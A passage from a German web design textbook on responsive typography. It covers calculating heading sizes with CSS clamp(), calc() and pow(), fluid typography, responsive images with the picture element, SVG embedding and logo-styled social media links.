                            
                            	
                                114,55 %

                            
                            	
                                114 %

                            
                        

                        
                            	
                                h4 / p

                            
                            	
                            	
                                100 %

                            
                            	
                            	
                                100 %

                            
                        

                        
                            	
                                h5

                            
                            	
                                69,44 %

                            
                            	
                                69 %

                            
                            	
                                87,29 %

                            
                            	
                                87 %

                            
                        

                        
                            	
                                h6

                            
                            	
                                48,22 %

                            
                            	
                                48 %

                            
                            	
                                76,2 %

                            
                            	
                                76 %

                            
                        

                    
                

                Tabelle 8.1    
            Die berechneten Größen für die Abstufungen von h1 bis h6 für die mobile bzw. für die Notebook- und Desktop-Darstellung

                Wie Sie aus Tabelle 8.1 leicht entnehmen können, ist die Verkleinerung von h5 und h6 für die Desktop-Darstellung zu klein – die Idee, die h4 mit der Größe der Fließtextschrift gleichzusetzen, ist bei diesem Teilungsverhältnis ein Schuss, der nach hinten losgeht. In diesem Fall würde ich Ihnen empfehlen, die h6 mit der Fließtextschrift gleichzusetzen.

                So ganz glücklich sollten Sie mit den obigen Formeln jedoch noch nicht sein, da es immer noch zwei Formeln sind – und eine einzige Formel wäre doch viel schöner. Lassen Sie uns überlegen, wie wir die beiden Formeln in Einklang bringen. An dieser Stelle bin ich stillschweigend über einen Punkt hinweggegangen, der uns ein bisschen zu denken geben sollte: Müsste man nicht eigentlich die wahre Größe des Viewports heranziehen anstatt von »Smartphone/Tablet« und »Notebook/Desktop« zu sprechen?

                Richtig! Um unsere Überlegungen gänzlich korrekt zu machen, müssten wir ein wenig genauer spezifizieren, wie groß das Smartphone und der Desktop sind, von denen wir da sprechen. Zwischen dieser »unteren Grenze« Smartphone und der »oberen Grenze« Desktop soll der Angleichungsfaktor f, den wir zuvor berechnet haben, linear angepasst werden. Versuchen wir’s:

                
                    	
                        Für Smartphones legen wir eine minimale Breite von 320 px (20 em) fest.

                    

                    	
                        Für den Desktop legen wir eine maximale Breite von 1920 px (120 em) fest.

                    

                

                Natürlich wissen wir alle, dass es zwar selten noch kleinere Smartphones gibt, aber mit Sicherheit existieren größere Desktop-Monitore. Eine Breite von 1920 px stellt jedoch einen sehr (sehr) üblichen Wert für durchschnittliche Desktop-Monitore (mit einfacher Pixeldichte) dar.

                So, wie geht’s weiter? Wir sagen nun, dass bei 320 px Breite ein Faktor von 1,5 zwischen der Basisschriftgröße und der größten Überschrift festgelegt werden soll; bei 1920 px soll der Faktor 3 sein. Wenn wir dazu in der Lage sind, können wir für jeden Wert dazwischen auch einen korrekten Faktor berechnen. Fassen wir also zusammen:

                
                    	
                        Zwischen 320 px und 1920 px liegt der Faktor 6.

                    

                    	
                        Zwischen 320 px und 1920 px soll sich die h1 vom 1,5-Fachen auf das 3-Fache erhöhen, also nur ums Doppelte, nicht um das Sechsfache.

                    

                

                Um das zu lösen, folgt nun ein kleiner Exkurs in die Mathematik – es geht leider nicht anders. Los geht’s mit dem Einsatz einer einfachen Geradengleichung. Die Steigung der Angleichsgeraden berechnen wir über die Veränderung des Angleichsfaktors in Abhängigkeit von der Veränderung der Auflösung:

                
                    [image: formula]

                
                Den Ausgangswert d berechnen wir nun über die Geradengleichung y = k ∙ x + d mittels Umformung und Einsetzen unserer bekannten Werte (z. B. soll bei einer Auflösung von 320 px der Faktor = 1,5 sein):

                
                    [image: formula]

                
                Die allgemeine Version dieser Formel – in Abhängigkeit von minimaler und maximaler Viewport-Breite (und damit einhergehender minimaler und maximaler Vergrößerung auf die größte Schriftgröße ausgehend von der Standardschriftgröße) ist somit:

                
                    [image: formula]

                
                Setzen wir als Kontrolle unsere bekannten Werte ein, so ergibt sich mit fmin = 1,5, fmax = 3, resmin = 320 px und resmax = 1920 px:

                
                    	
                        bei 320 px: [image: formula]

                    

                    	
                        bei 1920 px: [image: formula]

                    

                

                Damit gelangen wir schlussendlich zu unserer finalen Formel in Abhängigkeit von der Viewport-Breite:

                
                    [image: formula]

                
                Dabei ist i die Anzahl der Abstufungen, die berechnet werden sollen. In

                [image: formula]

                ist n die Anzahl der Abstufungen bis zur h1, und T ist das Teilungsverhältnis, das eingesetzt werden soll (beispielsweise T = 1,618 für den Goldenen Schnitt).

                
                    [zB]  Berechnung der Schriftgrößen

                    Wir nehmen eine minimale Breite des Viewports von 320 px, eine maximale Breite von 1920 px, einen minimalen Angleichfaktor von 1,5 (bei 320 px), einen maximalen Angleichfaktor (bei 1920 px) von 3 und eine Spannweite der Abstufungen gesamt von 3 (h4 bis h1) an. Dann sollten wir in der Lage sein, dieselbe Tabelle wie in Tabelle 8.1 zu generieren:

                    
                        [image: formula]

                    
                    Somit erhalten wir die Bestätigung der Daten aus Tabelle 8.1:

                    
                        [image: formula]

                    
                    Kleiner als der minimale und größer als der maximale Angleichfaktor soll es dann aber nicht mehr werden. Das heißt, unterhalb von 320 px soll der Faktor bei 1,5 bleiben und oberhalb von 1920 px soll es bei einem Faktor 3 bleiben (siehe Abbildung 8.18). In CSS bekommen wir das mithilfe der clamp-Funktion in den Griff, die wir gleich besprechen werden. Zeit also, sich an die CSS-Regeln zu wagen:

                    :root {
  --T:1.618;
  --n:3;
  --f_max:3;
  --f_min:1.5;
  --res_max:1920;
  --res_min:320;

  --f_Angleich:clamp(var(--f_min),calc((var(--f_max) - var(--f_min)) / (var(--res_max) - var(--res_min)) * (100vw - var(--res_min)) + 
var(--f_min)),var(--f_max));
  --f_Korrektur:calc(pow(var(--f_Angleich),1 / var(--n)) / var(--T));
  --f_KorrT:calc(var(--f_Korrektur) * var(--T)); /* Hilfsvariable */
}

h1 { font-size:calc(pow(var(--f_KorrT),var(--n)) * 100%); }
h2 { font-size:calc(pow(var(--f_KorrT),var(--n) - 1) * 100%); }
h3 { font-size:calc(pow(var(--f_KorrT),var(--n) - 2) * 100%); }
h4 { font-size:calc(pow(var(--f_KorrT),var(--n) - 3) * 100%); }
h5 { font-size:calc(pow(var(--f_KorrT),var(--n) - 4) * 100%); }
h6 { font-size:calc(pow(var(--f_KorrT),var(--n) - 5) * 100%); } 


                    Listing 8.9    
            Die berechneten Schriftgrößen für h1 bis h6 im Idealfall

                

                
                    [image: Die Schriftgrößen sollen je nach Viewport-Größe unterschiedlich stark anwachsen: im Falle von Desktop-Monitoren – ausgehend von der Basisgröße – auf das Dreifache, im Falle von Smartphones auf das 1,5-Fache.]

                    Abbildung 8.18    
            Die Schriftgrößen sollen je nach Viewport-Größe unterschiedlich stark anwachsen: im Falle von Desktop-Monitoren – ausgehend von der Basisgröße – auf das Dreifache, im Falle von Smartphones auf das 1,5-Fache.

                
                Im Listing 8.9 befinden sich drei CSS-Funktionen, die es zu besprechen gilt:

                
                    	
                        calc(): Der calc-Methode sind Sie zwar schon einige Male begegnet, aber sicher ist sicher: Sie dient dazu, Berechnungen in CSS durchzuführen. Achten Sie darauf, dass Sie zwischen den mathematischen Operatoren + und - und den Werten Leerzeichen schreiben!

                    

                    	
                        clamp(minimaler Wert, aktueller Wert, maximaler Wert): Bei der clamp-Methode kann ein Wert zwischen einer unteren und einer oberen Grenze variieren. Unterschreitet der aktuelle Wert die untere Grenze, so wird an seiner Stelle diese untere Grenze als Wert genommen. Dies gilt sinngemäß für die obere Grenze.

                    

                    	
                        pow(Wert, Hochzahl): Mittels pow kann die Hochzahl (also das Quadrat, das Kubische etc. oder auch eine Quadrat- oder Kubikwurzel) berechnet werden.

                    

                

                Im Januar 2024 war die pow()-Funktion noch nicht in allen Browsern verfügbar (sondern nur im Mozilla Firefox ab Version 112 und im Apple Safari ab Version 15.4 sowie in den mobilen Varianten der genannten Browser). Bleibt zu hoffen, dass Chrome und Edge bald nachziehen werden.

                Zusätzlich zu diesem Ansatz kommt noch ein zweiter Punkt hinzu, der (wiederum) aus dem Bereich der Mobile Usability kommt:

                
                    	
                        Smartphones und Tablets werden etwa eine halbe Armlänge entfernt gehalten.

                    

                    	
                        Notebook-Displays befinden sich etwa eine dreiviertel Armlänge entfernt. (Die Hände liegen auf der Tastatur, die Arme sind an den Ellenbogen leicht abgewinkelt und das Display befindet sich direkt im Anschluss an die Tastatur.)

                    

                    	
                        Desktop-Monitore sind etwa eine Armlänge entfernt.

                    

                

                Das bedeutet wiederum, dass die Wirkung der Schriftgröße zwischen Smartphone/Tablet, Notebook und Desktop unterschiedlich ist, wie man in Abbildung 8.19 sieht.

                
                    [image: Je nach Nähe zum Bildschirm wirken Schriftgrößen unterschiedlich. Je weiter entfernt man vom Monitor sitzt, umso größer sollte die Schrift gewählt werden, um einen einheitlichen Eindruck der Schriftgröße zu erhalten.]

                    Abbildung 8.19    
            Je nach Nähe zum Bildschirm wirken Schriftgrößen unterschiedlich. Je weiter entfernt man vom Monitor sitzt, umso größer sollte die Schrift gewählt werden, um einen einheitlichen Eindruck der Schriftgröße zu erhalten.

                
                Die Grafik verdeutlicht, dass wir auch die visuelle Darstellung der Schriftgröße in Abhängigkeit von der Entfernung zum Monitor berücksichtigen sollten: Je nach Entfernung zum Monitor wirkt dieselbe festgelegte Schriftgröße unterschiedlich groß. Um dies auszugleichen, geht man wie folgt vor:

                
                    	
                        Entweder legt man die Schriftgröße für den Desktop mit 1 em (= 16 px) fest und korrigiert die Darstellung für Notebook (Faktor 18/21 = 0,86) und Smartphone (Faktor 16/21 = 0,76) nach unten oder

                    

                    	
                        man geht den umgekehrten Weg, indem man die Schriftgröße für das Smartphone mit 1 em festlegt und sie für Notebook (Faktor 18/16 = 1,125) und Desktop (21/16 = 1,3125) nach oben korrigiert.

                    

                

                Üblicherweise wird der erste Weg eingeschlagen. Diese berechneten Werte sind wie gesagt abhängig von der Entfernung Auge–Display und somit keine kontinuierlichen Werte. Aus diesem Grund werden die berechneten Werte über die Media Queries, also bei den Breakpoints für Tablet (und Smartphone), Notebook und Desktop, und nicht als kontinuierlich berechnete Werte (wie etwa im Falle der Fluid Typography) definiert:

                @media screen and (min-width:75rem) {
  /* Desktop */
  html {
    font-size:1em;
  }
  ...
}
@media screen and (max-width:calc(75rem - 1px)) {
  /* Notebook */
  html {
    font-size:calc(1em * 18 / 21);
  }
  ...
}
@media screen and (max-width:calc(62rem - 1px)) {
  /* Tablet */
  html {
    font-size:calc(1em * 16 / 21);
  }
  ...
}


                Jetzt dürfen wir strahlend auf unsere Errungenschaften zurückblicken:

                
                    	
                        Die zugrunde liegende Schriftgröße passt sich der Distanz Auge–Monitor an, und zwar in festgelegten Schritten und nicht kontinuierlich. (Eine kontinuierliche Anpassung wäre ein anderer Ansatz, den wir im Exkurs zur Fluid Typography diskutieren.)

                    

                    	
                        Die Schriftgrößenabstände zwischen der kleinsten und größten Schrift (üblicher-, aber nicht notwendigerweise sind das die Überschriften h1 bis h6 sowie der Fließtext) passen sich an die Bildschirmgröße an: Je größer der Monitor ist, umso größer dürfen die Abstände zwischen den einzelnen Schriftgrößen sein – ein kontinuierliches Vergrößern ist hier angesagt, jedoch mit einer unteren und einer oberen Grenze.

                    

                    	
                        Die Schriftgrößenabstände werden nicht linear größer oder kleiner, sondern können in einem Verhältnis (wie etwa dem des Goldenen Schnitts) variiert werden. Dies erzeugt ein wesentlich homogeneres Erscheinungsbild als fest vorgegebene Werte.

                    

                

                Gratulation! Das haben Sie sich verdient. Es war ein steiniger, weil mathematischer Weg.

                
                    Ein Exkurs zur Fluid Typography

                    Ein weiterer Ansatz zur Anpassung des Inhalts an die Größe des Monitors (oder genauer gesagt: an die Größe des Viewports) hat in der letzten Zeit etwas an Popularität gewonnen: die Fluid Typography. Hinter diesem Ansatz steckt die Idee, dass die zugrunde liegende Schriftgröße (oder Ausgangsschriftgröße) kontinuierlich an die Größe des Monitors angepasst wird. Basieren alle weiteren Größenangaben auf dieser Ausgangsschriftgröße, so passt sich das gesamte Design fließend an die Größe des Bildschirms an. Das klingt im ersten Moment spannend und fein, auf einen zweiten Blick erkennt man jedoch, dass dieser Ansatz vielleicht gar nicht das Ergebnis liefert, das man gerne haben möchte.

                    Rufen wir uns noch einmal kurz in Erinnerung, was der genaue Ansatz ist: Je nach Viewport-Größe wird die Schriftgröße variiert. Das bedeutet aber auch, dass bei jeder Größenveränderung des Viewports (oder des Browserfensters) der Inhalt skaliert, wodurch die Darstellung der Website eher unruhig wird.

                    Nun muss man sich natürlich die Frage stellen, wie oft ein User den Viewport des Browsers vergrößert oder verkleinert. Die Antwort darauf ist: sehr selten. Im Falle mobiler Endgeräte ist er dazu zumeist gar nicht in der Lage, und im Falle von Notebooks bzw. Desktop-Geräten werden wohl die wenigsten User laufend die Browsergröße verändern. Was man jedoch verliert, ist die Möglichkeit, dass größere Monitore mehr darstellen können als (etwas) kleinere Monitore. Dadurch, dass die Schriftgröße hochskaliert wird, verliert man den Vorteil, dass ein größerer Monitor mehr Platz zur Verfügung hat, der nun lediglich für größere Elemente herhalten muss – und das ist mitunter gar nicht erwünscht.

                    Betrachten wir dennoch einmal den CSS-Ansatz, bei dem wir wieder auf das zurückkommen, was wir uns zuvor mühsam angeeignet haben: eine Geradengleichung, die eine minimale und eine maximale Viewport-Größe und eine damit einhergehende Schriftvergrößerung annimmt:

                    
                        	
                            größter Viewport: 1920 px Breite, einfache Schriftgröße (1 em)

                        

                        	
                            kleinster Viewport: 320 px Breite, auf 76 % reduzierte Schriftgröße

                        

                    

                    oder:

                    
                        	
                            kleinster Viewport: 320 px Breite, einfache Schriftgröße (1 em)

                        

                        	
                            größter Viewport: 1920 px Breite, auf ca 131 % erhöhte Schriftgröße

                        

                    

                    Diese beiden Ansätze hatten wir schon besprochen, und ich hatte erwähnt, dass es legitim ist, die Schriftgröße auf kleineren Ausgabegeräten zu verkleinern, da diese näher zum Auge gehalten werden (»halbe Armlänge entfernt«). Aus diesem Grund sehen wir uns den ersten Ansatz an und definieren dazu eine Geradengleichung:

                    
                        [image: formula]

                    
                    Umgemünzt auf CSS, könnten wir wie folgt vorgehen und die Möglichkeiten von Variablen und Berechnungen nützen:

                    :root {
  --res_min:320;
  --res_max:1920;
  --faktor:0.76;
  --size_max:16;
  --size_min:calc(var(--size_max) * var(--faktor));
  --k:calc((var(--size_max) - var(--size_min) / (var(--res_max) - ↩
var(--res_min));
  --d:calc(var(--size_max) + var(--res_max) * var(--k));
}
html.fluid {
  font-size:clamp(calc(var(--size_min) * 1px),calc(100vw * var(--k) + ↩
var(--d) * 1px),calc(var(--size_max) * 1px));
}


                    Listing 8.10    
            Wir berücksichtigen die Fluid-Typografie, indem wir in diesem Beispiel die Klasse »fluid« hinzufügen.

                    Die Klasse fluid dient lediglich dazu, diesen Ansatz nur bei Bedarf zu verfolgen.

                    
                        [»]  Multiplikation mit 1 px

                        Bitte beachten Sie, dass im obigen Beispiel an manchen Stellen mit dem Wert 1 px multipliziert wird. Der Grund liegt darin, dass die Berechnung »bis dort hin« ohne Einheiten durchgeführt wird. An irgendeiner Stelle muss dann jedoch wieder eine Einheit eingeführt werden, sodass der Browser korrekt weiterrechnen kann.

                    

                    Das Ergebnis ist also ein Layout, das sich – über die fließende Schriftgröße – der Breite des Viewports anpasst. Da sich die Schriftgrößenänderungen von Smartphone auf Desktop jedoch nur um maximal 25 % unterscheiden, erzielt man mit diesem Ansatz keinen allzu großen Gewinn gegenüber der herkömmlichen Herangehensweise. Eigentlich ist sogar das Gegenteil der Fall: Die Schriftgrößenanpassung sollte nicht kontinuierlich erfolgen, da ein kleinerer Viewport auf ein und demselben Monitor ja auch von der Verkleinerung des Browserfensters herrühren kann – das soll jedoch nicht der Grund sein, dass sich die Schriftgröße ändert. Der Grund für eine Schriftgrößenänderung soll viel eher der schon mehrfach erwähnte Abstand Auge–Monitor sein.

                
                
                    Worauf Sie in Bezug auf Text noch achten sollten

                    Neben den Schriftgrößen, die natürlich eine sehr wesentliche Rolle spielen, sollten Sie folgende Punkte nicht unberücksichtigt lassen:

                    
                        	
                            Wählen Sie eine lesbare Schrift.
Speziell als Einsteiger ins Webdesign ist man versucht, bei der Schriftwahl seinen Wünschen freien Lauf zu lassen. Das ist aus mehreren Gründen falsch, aber vor allem in Hinblick auf die Lesbarkeit. Nur wenige Schriften sind am Bildschirm wirklich gut lesbar. Das hängt einerseits mit der verwendeten Schriftgröße und der Pixeldichte am Monitor zusammen, aber vor allem mit dem Schriftdesign. Aus diesem Grunde empfehle ich Ihnen, noch einmal einen Blick in Abschnitt 6.10, »Das geschriebene Wort – Schriften« zu werfen.

                        

                        	
                            Achten Sie auf ausreichend Kontrast.

                            Zwischen der Schrift- und der Hintergrundfarbe muss ein ausreichender Kontrast herrschen, da der geschriebene Text ansonsten nur schwer zu entziffern ist. Je nach User-Anforderungen und Umgebungslicht darf dieser Kontrast einmal geringer sein (im Falle reduzierter Umgebungshelligkeit) oder muss einmal deutlicher ausfallen (im Falle gleißenden Lichtes). Der User hat die Möglichkeit, in seinem Betriebssystem entsprechende Einstellungen zu treffen, auf die man mithilfe einer Media Query reagieren kann (siehe Abbildung 8.20).

                            
                                [image: In denBedienungshilfen kann eine (notwendige) Kontrasterhöhung eingestellt werden. Gerade im Falle von Barrierefreiheit ist das ein Thema.]

                                Abbildung 8.20    
            In denBedienungshilfen kann eine (notwendige) Kontrasterhöhung eingestellt werden. Gerade im Falle von Barrierefreiheit ist das ein Thema.

                            
                            Eine entsprechende Media Query könnte über die Eigenschaft prefers-contrast erzeugt werden. Die möglichen Werte sind no-preference (keine speziellen Vorgaben), more (erhöhter Kontrast), less (verringerter Kontrast) und custom (eigene Einstellungen in Verbindung mit forced-colors:active):

                            @media (prefers-contrast: more) {
  ...
} 


                        

                        	
                            Setzen Sie keinen wichtigen Text in eine Bilddatei.
Wichtiger Text sollte niemals in einer (pixelbasierten) Grafik vorkommen. Dafür gibt es mehrere Gründe: Einerseits wird ein Text-im-Bild ja lediglich als eine Summe eingefärbter Pixel dargestellt und kann somit nicht bzw. nur sehr schwer als Text aus dem Bild gelesen werden (was für »nicht sehende« Systeme ein Problem ist). Andererseits werden Bilder aufgrund eigenständiger Requests erst vom Server abgefragt, wenn der restliche Text bereits dargestellt wurde. Das bedeutet: Ein User, der sich auf der Suche nach gewünschtem Inhalt befindet, könnte auf einen textbasierten Link klicken, weil er der Ansicht war, hinter diesem Link befände sich der gesuchte Inhalt. In Wahrheit wäre dieser Inhalt jedoch über den Link auf das Bild erreichbar gewesen, aber das Bild war leider noch nicht geladen ...

                        

                    

                
            
            
                Bilder und Videos

                Nachdem wir nun die Schriften unter Kontrolle haben, widmen wir uns den nächsten Medien: Bildern und Videos. An dieser Stelle sollten Ihnen bereits folgende Punkte bewusst sein:

                
                    	
                        Bilder (außer SVG-Daten) und Videos sind pixelbasiert und dementsprechend nicht ohne Weiteres skalierbar.

                    

                    	
                        Die Dateigröße und somit auch die Downloadmenge eines solchen Mediums bleibt gleich – ganz egal, ob wir es in halber oder voller Größe am Bildschirm darstellen.

                    

                    	
                        Das Skalieren an sich erfordert vom Browser (und somit vom System dahinter) ein ordentliches Maß an Performance: Je weniger leistungsfähig ein solches Gerät ist (billige Smartphones etc.), umso mehr gerät das System unter Last. Dies wirkt sich in einem Stocken des Systems aus.

                    

                    	
                        Im Falle von Bildern haben wir zwei Möglichkeiten, ein solches einzubetten: über das Tag <img> oder über das Tag <picture>. Zweiteres ist die standardisierte Methode, um je nach Media Query unterschiedliche Bilddaten zu laden.

                    

                

                Trotz all dem Wissen, das Sie bis dato angehäuft haben, haben wir es noch nicht im Griff, dass sich diese Medien optimal verhalten. Das liegt daran, dass wir im Rahmen des Responsive Webdesign zumeist mit einem Grid-Layout zu tun haben, in dem die besagten Medien in einen Spaltenraster gepfercht werden.

                Betrachten wir ein einfaches Beispiel: Angenommen, wir haben es mit dem folgenden Bild zu tun, das je nach Viewport-Größe mit einer unterschiedlichen Quelle versorgt wird:

                <picture>
  <source srcset="bilder/640.jpg, bilder/1280.jpg 2x, bilder/1920.jpg 3x" media="(max-width:40em)">
  <source srcset="bilder/1024.jpg, bilder/2048.jpg 2x, bilder/3072.jpg 3x" media="(max-width:64em)">
  <source srcset="bilder/1920.jpg, bilder/2880.jpg 2x" media="(max-width:120em)">
  <img src="bilder/apple6k_6016.jpg" alt="...">
</picture>


                Listing 8.11    
            Das Tag <picture> lädt Bilder entsprechend der gewünschten Viewport-Breite und Pixeldichte.

                Wie Sie in Tabelle 8.2 sehen, werden auf Basis unterschiedlicher Kriterien Bildquellen ausgewählt:

                
                    
                        
                            	
                            	
                                Viewport-Breite

                            
                        

                        
                            	
                                Pixeldichte

                            
                            	
                                40 em

                            
                            	
                                64 em

                            
                            	
                                120 em

                            
                            	
                                darüber

                            
                        

                    
                    
                        
                            	
                                einfach

                            
                            	
                                640.jpg

                            
                            	
                                1024.jpg

                            
                            	
                                1920.jpg

                            
                            	
                                apple6k_6016.jpg

                            
                        

                        
                            	
                                doppelt

                            
                            	
                                1280.jpg

                            
                            	
                                2048.jpg

                            
                            	
                                2880.jpg

                            
                            	
                                (apple6k_6016.jpg)

                            
                        

                        
                            	
                                dreifach

                            
                            	
                                1920.jpg

                            
                            	
                                3072.jpg

                            
                            	
                                (2880.jpg)

                            
                            	
                                (apple6k_6016.jpg)

                            
                        

                    
                

                Tabelle 8.2    
            Je nach Viewport-Breite und Pixeldichte wählt das <picture> unterschiedliche Bildquellen.

                Worauf ich hinaus möchte, ist die Tatsache, dass sich diese Media Queries zwar auf die Viewport-Breite, nicht jedoch auf die Spaltenbreite in unserem Layout beziehen. Und wenn man ehrlich ist, ist es klar, dass nicht ein jedes Bild in der vollen Breite des Viewports dargestellt wird.

                Lädt man ein solches Element beispielsweise auf einem Desktop-Monitor (1920 × 1080 px) in einem vierspaltigen Layout mit maximaler Breite des Layouts von 80 em in eine der vier Spalten, so bleibt dem Bild noch eine maximale Breite von 20 em. Das entspricht einem Sechstel (1920 px = 120 em → 20 em / 120 em = 1/6) der eigentlichen Bildgröße. Somit wird klar, dass das Bild entsprechend (kleiner) skaliert werden muss. Dies ist zwar mithilfe von CSS eine Fingerübung, aber die Vorgehensweise kann uns keinesfalls glücklich machen, da wir für diesen Zweck offensichtlich ein viel zu großes Bild geladen haben.

                Betrachten wir dennoch zunächst einmal den CSS-Code, den wir fürs Skalieren von Medien benötigen:

                img,
picture,
video,
object,
embed {
  max-width:100%;
  height:auto;
}


                Listing 8.12    
            Für Medien lässt man das Skalieren zu, indem man die Breite über die »max-width« relativiert und die Höhe entsprechend berechnet.

                An dieser Stelle möchte ich daran erinnern, dass sich die max-width-Angabe auf die maximale Größe des Mediums und nicht auf den verfügbaren Platz bezieht.

                
                    [»]  object und embed?

                    Die beiden Tags object und embed dienen dazu, externe Quellen (wie Videos, PDF-Dokumente, Bilder usw.) einzubetten. Beide haben eine lange Tradition, werden jedoch in modernem Webdesign so gut wie nicht mehr eingesetzt. Ihre Erwähnung hat mehr historische als praxisrelevante Bedeutung.

                

                
                    Skalierbare Medien: SVG rulez

                    Nun haben wir zwar die Größe der Medien im Griff, aber dennoch muss Ihnen bewusst sein, dass das Skalieren von pixelbasierten Medien nur bedingt sinnvoll ist. Ganz anders sieht es jedoch aus, wenn wir es mit skalierbaren Medien (wie Dateien im SVG-Format) zu tun haben, denn diese sind bereits von Natur aus skalierbar.

                    In Bezug auf SVG-Dateien existieren mehrere Möglichkeiten, diese in ein HTML-Dokument einzubetten:

                    
                        	
                            unter Verwendung des altbekannten <img> über das src-Attribut: <img src="skalierbar.svg" ...>

                        

                        	
                            durch eine direkte Einbettung des zugehörigen SVG-Codes <svg>...</svg> in den HTML-Code

                            Möchten Sie etwa das Facebook-Logo direkt in die Website integrieren, so können Sie den Inhalt der SVG-Datei direkt in den HTML-Code kopieren:

                            <body>
…
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 40 40">
  <linearGradient id="a" x1="-277.375" x2="-277.375" y1="406.6018" y2="407.5726" gradientTransform="matrix(40 0 0 -39.7778 11115.001 16212.334)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#0062e0"/>
    <stop offset="1" stop-color="#19afff"/>
  </linearGradient>
  <path fill="url(#a)" d="M16.7 39.8C7.2 38.1 0 29.9 0 20 0 9 9 0 20 0s20 9 20 20c0 9.9-7.2 18.1-16.7 19.8l-1.1-.9h-4.4l-1.1.9z"/>
  <path fill="#fff" d="m27.8 25.6.9-5.6h-5.3v-3.9c0-1.6.6-2.8 3-2.8H29V8.2c-1.4-.2-3-.4-4.4-.4-4.6 0-7.8 2.8-7.8 7.8V20h-5v5.6h5v14.1c1.1.2 2.2.3 3.3.3 1.1 0 2.2-.1 3.3-.3V25.6h4.4z"/>
</svg>
…
</body> 


                            Diese Variante stellt aus Sicht der Performance die beste Wahl dar. Nachteilig ist, dass der HTML-Code aufgebläht wird, da SVG-Daten sehr umfangreich sein können.

                        

                        	
                            mittels <object> oder <embed>, worauf wir jedoch aus obig genannten Gründen verzichten werden

                        

                    

                    Diskutieren wir anhand von Tabelle 8.3 die Varianten kurz durch:

                    
                        
                            
                                	
                                    Einbettung

                                
                                	
                                    Pro

                                
                                	
                                    Kontra

                                
                            

                        
                        
                            
                                	
                                    <img>

                                
                                	
                                    	altbekannte Einbettungsmethode

	Wird als Datei eingebettet und kann demnach einfach ersetzt werden.



                                
                                	
                                    	Links bzw. interaktive Elemente innerhalb der SVG-Datei können nicht verwendet werden.

	Ein Zugriff auf die Elemente der Illustration mittels JavaScript ist nicht möglich.



                                
                            

                            
                                	
                                    <svg>

                                
                                	
                                    	Sämtliche Elemente der Illustration sind im HTML-Code (SVG-Code) verfügbar und können mittels JavaScript und CSS manipuliert werden.

	Sämtliche interaktiven Elemente der Illustration (wie etwa Links) funktionieren.

	Es entsteht kein zusätzlicher Request auf dem Server, da sich die Illustration direkt im HTML-Code befindet.



                                
                                	
                                    	Der HTML-Code wird durch die Einbettung des SVG-Codes sehr unübersichtlich und lang.

	Ein schnelles Ersetzen des Codes (beispielsweise durch Hochladen einer neuen Datei) ist nicht möglich.



                                
                            

                        
                    

                    Tabelle 8.3    
            Vor- und Nachteile der unterschiedlichen Einbettungsvarianten von SVG

                    Um es noch einmal sehr deutlich anzumerken: Einer der großen Vorteile von SVG ist die Möglichkeit, den SVG-Code direkt in den HTML-Code einzubetten. Der Browser selbst kann den SVG-Code interpretieren, als wäre es HTML-Code; mittels JavaScript kann man auf sämtliche Elemente einer Illustration zugreifen, und es entsteht auch kein Request nach einer auf dem Server abgelegten Datei. Natürlich ist das große Kontra der Umstand, dass der SVG-Code direkt im HTML-Code steht, der dadurch unübersichtlich wird. Dieses Problem können wir jedoch mittels serverseitiger Programmierung lösen, indem wir die SVG-Daten zunächst als Datei auf dem Server ablegen und diese alsdann dynamisch einlesen und in den HTML-Code platzieren. Ich hoffe, das ist Grund genug für Sie, bis zum PHP-Kapitel durchzuhalten.

                
                
                    Sprites für Hintergrundbilder

                    Obwohl ich es bereits in den Grundlagen der Website-Entwicklung schon einmal angeschnitten habe, möchte ich noch einmal konkret darauf hinweisen, dass es einen sehr wichtigen Unterschied zwischen Bildern (HTML) und Hintergrundbildern (CSS) gibt: Während Hintergrundbilder lediglich dekorative Zwecke erfüllen, so sind echte Bilder (eingebettet mittels <img>, <picture> o. Ä.) auch durch Suchmaschinen indizierbar. Das heißt, sie können analysiert und gefunden werden.

                    Lassen Sie mich noch etwas genauer auf den Sinn und Zweck von Hintergrundbildern eingehen. Einerseits dienen sie als Deko-Elemente, andererseits könnte man sie jedoch auch als Grafiken für Buttons verwenden (wie etwa Verlinkungen auf Social-Media-Kanäle über deren Logos) – und genau darauf möchte ich nun hinaus. Stellen wir uns etwa den Fall eines Links vor, der auf einen Facebook- oder Instragram-Account verlinken soll. Der zugehörige HTML-Code ist schnell geschrieben:

                    <a href="https://www.instagram.com/be_a_warrior.at/"  
target="_blank">Instagram</a>
<a href="https://www.facebook.com/beawarrior.at" target="_blank">Facebook</a>


                    Dass eine derartige Verlinkung auf einer Website nicht allzu viel hergibt, ist klar. Sehr viel öfter sieht man den (wesentlich sinnvolleren) Weg, dass anstatt des Textes (wie hier etwa »Instagram« oder »Facebook«) das Logo der jeweiligen Plattformen dargestellt wird. Gehen wir einmal davon aus, dass die beiden Logos als einzelne Dateien vorliegen (ob in pixel- oder vektorbasierter Form ist an dieser Stelle irrelevant, aber natürlich würden wir ein Vektorformat immer vorziehen). Nun hätten wir entweder die Möglichkeit, den HTML-Code so zu verändern, dass wir ein klickbares Bild daraus machen, oder indem wir eine Formatierung des Links mittels CSS und Hintergrundbildern vornehmen. Der erste Weg wäre in diesem Fall nicht sinnvoll, da uns der textuelle Inhalt – insbesondere in Hinblick auf Suchmaschinen – mehr Vorteile bringt. Also auf zu Variante 2:

                    a[href^="https://www.instagram.com"] {
  display:inline-block;
  width:2rem;
  height:2rem;
  font-size:0px;
  background-image:url(../medien/svg/Logo_Instagram.svg);
  background-size:contain;
  background-position:center;
}
a[href^="https://www.facebook.com"] {
  display:inline-block;
  width:2rem;
  height:2rem;
  font-size:0px;
  background-image:url(../medien/svg/Logo_Facebook.svg);
  background-size:contain;
  background-position:center;
}


                    Listing 8.13    
            Ein kleiner Eingriff in CSS bewirkt, dass Links nun als Bilder erscheinen.

                    Eine kleine Anmerkung zum obigen Code: Es ist Ihnen vielleicht aufgefallen, dass die Schriftgröße auf 0px gesetzt wird. Der Grund hierfür ist, dass man den Linktext (»Facebook«, »Instagram«) nicht sehen möchte – es soll einzig und allein das Logo dargestellt werden. Genau das erreicht man, indem man die Schriftgröße auf 0px setzt.

                    Sie dürfen dabei nur nicht vergessen, dass die Einheit em für dieses Element dann nicht mehr (sinnvoll) verfügbar ist, da sie relativ zur Schriftgröße des Elements gemessen wird, was wiederum bei 0 px Schriftgröße ebenfalls 0 ergibt. Greifen Sie hingegen auf das Root-em (rem) zurück, vermeiden Sie dieses Problem.

